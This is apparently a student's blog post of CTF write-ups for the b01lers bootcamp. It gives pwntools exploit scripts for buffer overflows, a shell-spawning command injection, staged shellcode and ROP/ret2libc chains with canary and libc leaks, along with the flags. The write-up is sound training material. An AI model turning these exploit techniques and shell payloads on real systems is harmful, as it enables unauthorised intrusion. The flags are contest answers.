Hello i am arsalan. information system student, i blog about cyber security, ctf writeup , web development , and more about tech. born and raised in indonesia , currently living in indonesia

Posts   About

b01lers CTF bootcamp

Writeup b01lers CTF bootcamp

My university team CCUG got 11 places at “b01lers CTF Bootcamp”, in this post I will explain some challenge that I solve during the competition.

Pwn

Rev

Metacortex

Description:

This company is one of the top software companies in the world, 
because every single employee knows that they are part of a whole. 
Thus, if an employee has a problem, the company has a problem.
nc chal.ctf.b01lers.com 1014

Solution:

this is a simple buffer overflow challenge, we need to pass the if condition, we have to set %rax and %rbx to 0x0.

from pwn import *
#r = process("./metacortex-72ec7dee20d0b191fe14dc2480bd3f43")
r = remote("chal.ctf.b01lers.com", 1014)
p = "\x00" * 104
r.sendline(p)
r.interactive()

FLAG: flag{Ne0_y0uAre_d0ing_well}

There is no Spoon

Description:

Neo: bend reality, and understand the truth of the matrix.
nc chal.ctf.b01lers.com 1006

Solution:

another easy challenge, in this challenge we have to overwrite variable changeme

from pwn import *
#r = process("thereisnospoon-3b08fb627c71c8c2149d1e57d98a1934")
r = remote("chal.ctf.b01lers.com", 1006)
r.sendline("\x00"*900)
r.sendline("90000000000000")
r.interactive()

FLAG: flag{l0tz_0f_confUsi0n_vulnz}

The Oracle

Description:

Would you still have broken it if I hadn't said anything?
nc chal.ctf.b01lers.com 1015

Solution:

I am the third person to solve this challenge, another buffer overflow challenge. in this challenge, we have to overwrite %rip to 0x401196

#r = process("theoracle-ef25f23d8a2218004732f71bfbfa1267")
r = remote("chal.ctf.b01lers.com", 1015)
p = "A" * 24
p += p64(0x401196)
r.sendline(p)
r.interactive()

FLAG: flag{Be1ng_th3_1_is_JusT_l1ke_b3ing_in_l0v3}

White Rabbit

Description:

Follow the white rabbit...
nc chal.ctf.b01lers.com 1013

Solution:

in this challenge, we can’t set “flag” as our input

but we can inject a bash command to get a shell

from pwn import *
r = remote("chal.ctf.b01lers.com",1013)
x = ''' ']||/bin/sh;[' '''
r.sendline(x)
r.interactive()

FLAG: flag{Th3_BuNNy_wabbit_l3d_y0u_h3r3_4_a_reason}

Free Your Mind

Description:

Next up, hack the matrix again, but this time, insert your own code. nc chal.ctf.b01lers.com 1007

Solution:

challenge source code:

#include <stdio.h>
#include <unistd.h>

char shellcode[16];

int main() {
    char binsh[8] = "/bin/sh";

    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);

    printf("I'm trying to free your mind, Neo. But I can only show you the door. You're the one that has to walk through it.\n");
    read(0, shellcode, 16);

    ((void (*)()) (shellcode))();
}
    

this is a shellcode challenge I am the second person to solve this challenge, we can only write 16byte shellcode to the .bss. in order to send our full shellcode we can write a shellcode that can read from stdin and after that we send our shellcode to the last part of shellcode

from pwn import * 
#r = process("./shellcoding-5f75e03fd4f2bb8f5d11ce18ceae2a1d")
r = remote("chal.ctf.b01lers.com", 1007)
binsh = 0x4011b3
shellcode = ''' mov rsi, 0x40409e
                mov edx, 100
                syscall
'''
r.sendline(asm(shellcode))
r.sendline(asm(shellcraft.sh()))
r.interactive()

FLAG: flag{cust0m_sh3llc0d1ng_c4n_b33_c00l}

See for Yourself

Description:

The matrix requires a more advanced trick this time. Hack it.
nc chal.ctf.b01lers.com 1008

Solution:

I am the second person to solve this challenge, we can create a rop to set the address of “/bin/sh” to %rdi and call system from plt

from pwn import *
r = process("./simplerop-af22071fcb7a6df9175940946a6d45e5")
r = remote("chal.ctf.b01lers.com", 1008)
binsh = 0x402008
sy = 0x000000000401080
pprdi = 0x0000000000401273
ret = 0x000000000040101a
p = "A" * 8 
p += p64(ret)
p += p64(pprdi)
p += p64(binsh)
p += p64(sy)
r.sendline(p)
r.interactive()

FLAG: flag{ROP_ROOP_OOP_OOPS}

Goodbye, Mr. Anderson

Description:

Do it again Neo. Cheat death.
nc chal.ctf.b01lers.com 1009

Solution:

this is the tricky one, we can overwrite __libc_start_main using leak_stack_canary function the binary itself use full protection and use libc version 2.31. which we can’t use one_gadget to solve this challenge. in order to solve this challenge we need to leak canary, base pie and libc address since we can only overwrite __libc_start_main in order to create a rop we can use add rsp, 8; ret; gadget to get our rop working properly. pardon my crappy code.

#!/usr/bin/env python2

import sys
from pwn import *
context.update(arch="amd64", endian="little", os="linux", log_level="info",
               terminal=["tmux", "split-window", "-v", "-p 85"],)
LOCAL, REMOTE = False, False
TARGET=os.path.realpath("./leaks-c85e4a348b2a07ba8e6484d69956d968")
elf = ELF(TARGET)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def attach(r):
    if LOCAL:
        bkps = ["* main", "* main+229","* main+140"]
        gdb.attach(r, '\n'.join(["b %s"%(x,) for x in bkps]))
    return

def seto(size,val):
    r.sendline(size)
    r.sendline(val)

def exploit(r):
    pop_rdi = 0x0000000000026b72
    attach(r)

    r.recvuntil("Anderson.\n")
    seto("8","A"*17)
    r.sendline("A")
    r.recvuntil("AAAAAAA\n")
    leak = u64(r.recv(8).replace("\n","\x00").ljust(8, "\x00").replace("A","\x00"))
    base_pie = leak - elf.sym['_start']
    yay = base_pie + 0x00000000000011E9
    log.info("leak: " + hex(leak))
    log.info("base: " + hex(base_pie))
    log.info("yay : " + hex(yay))

    # leak canary
    r.sendline("24")
    r.sendline("A"* 24)
    r.recvuntil("AAAAAAAAAAAAAAAAAAAAAAAA")
    canary = u64(r.recv(8).replace("\n","\x00").ljust(8,"\x00"))
    log.info("canary: " + hex(canary))
    

    # canary dah dapat sekarang balik ke main
    p = "A" * 24
    p += p64(canary)
    p += p64(99)
    p += p64(leak)
    r.sendline("50")
    r.sendline(p)
    r.sendline("X")


    r.sendline("16")
    r.sendline("A"* 16)
    r.sendline("40")
    r.sendline("A"*40)
    r.recvuntil("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")
    libc_start_main = u64(r.recv(8).replace("\n","\x00").ljust(8, "\x00")) - 64
    libc_base = libc_start_main - libc.sym['__libc_start_main']
    libc_system = libc_base + libc.sym['system']
    binsh = libc_base + libc.search("/bin/sh").next()
    log.info("libc_start_main: " + hex(libc_start_main))
    log.info("libc_base: " + hex(libc_base))
    log.info("system: " + hex(libc_system))

    r.sendline("56")
    r.sendline("A"*56)
    r.recvuntil("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")
    leak_stack = u64(r.recv(8).replace("\n","\x00").ljust(8, "\x00"))
    name = leak_stack 
    log.info("leak_stack: " + hex(leak_stack))


    pop_rdi = base_pie + 0x00000000000013f3
    pop_rax = base_pie + 0x00000000000011f1
    ret = base_pie + 0x000000000000101a
    jmp_rax = libc_base + 0x000000000000114f
    call_rsp = libc_base + 0x00000000000284c8
    add_rsp_8_ret = base_pie +  0x0000000000001016

    main = base_pie + elf.sym['main']

    p = "A" * 24
    p += p64(canary)
    p += p64(99)
    p += p64(add_rsp_8_ret ) 
    p += p64(pop_rdi)
    p += p64(pop_rdi)
    p += p64(binsh)
    p += p64(ret)
    p += p64(libc_system)
    p += p64(0xbeef)
    p += p64(0xdead)
    r.sendline("106")
    r.sendline(p)
    r.sendline("X")


    r.interactive()
    return

if __name__ == "__main__":
    if len(sys.argv)==2 and sys.argv[1]=="remote":
        REMOTE = True
        r = remote("chal.ctf.b01lers.com", 1009)
    else:
        LOCAL = True
        r = process([TARGET,])
    exploit(r)
    sys.exit(0)
 

Link Battle

Description:

Hmm....I hope you paid attention in class, spies!

Solution:

since we were given a .so file, we can write a C code that load the .so file and call getflag function.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>

int main(int argc, char** argv)
{
    void *handle;
    void (*func_print_name)(const int*);

    handle = dlopen("./ok/libflaggen-f2c2f9306bdbae9522d200db5bd9f55d.so", RTLD_LAZY);
    if (!handle) {
    /* fail to load the library */
    fprintf(stderr, "Error: %s\n", dlerror());
    return EXIT_FAILURE;
    }

    *(void**)(&func_print_name) = dlsym(handle, "getflag");
    if (!func_print_name) {
    /* no such symbol */
    fprintf(stderr, "Error: %s\n", dlerror());
    dlclose(handle);
    return EXIT_FAILURE;
    }

    func_print_name(6666);
    dlclose(handle);

    return EXIT_SUCCESS;
}

compile gcc sol.c -ldl and run the binary

FLAG: flag{pl34s3_sp34k_3ngl1sh_m1n10n!_1v3_been_b4k1ng_und3r_th0s3_st00d1o_l1ghts!}

Thumb Thumb

Description:

Once upon a time, there was a young Thumb Thumb named Juni. Juni was shy and had no self confidence, 
until one day evil Thumb Thumbs kidnapped his spy Thumb Thumb Parents.

WANTED: EVIL THUMB THUMB. CRIME: KIDNAPPING. HAVE YOU SEEN THIS THUMB?

Solution:

the flag is loaded from function thumblings_assemble, to dump the flag, use gdb to debug the binary and set a breakpoint at thumblings_assemble+230 after that examine the value of %rsp+16 using gdb

FLAG: flag{s3nd_0ur_b3st_thumb5}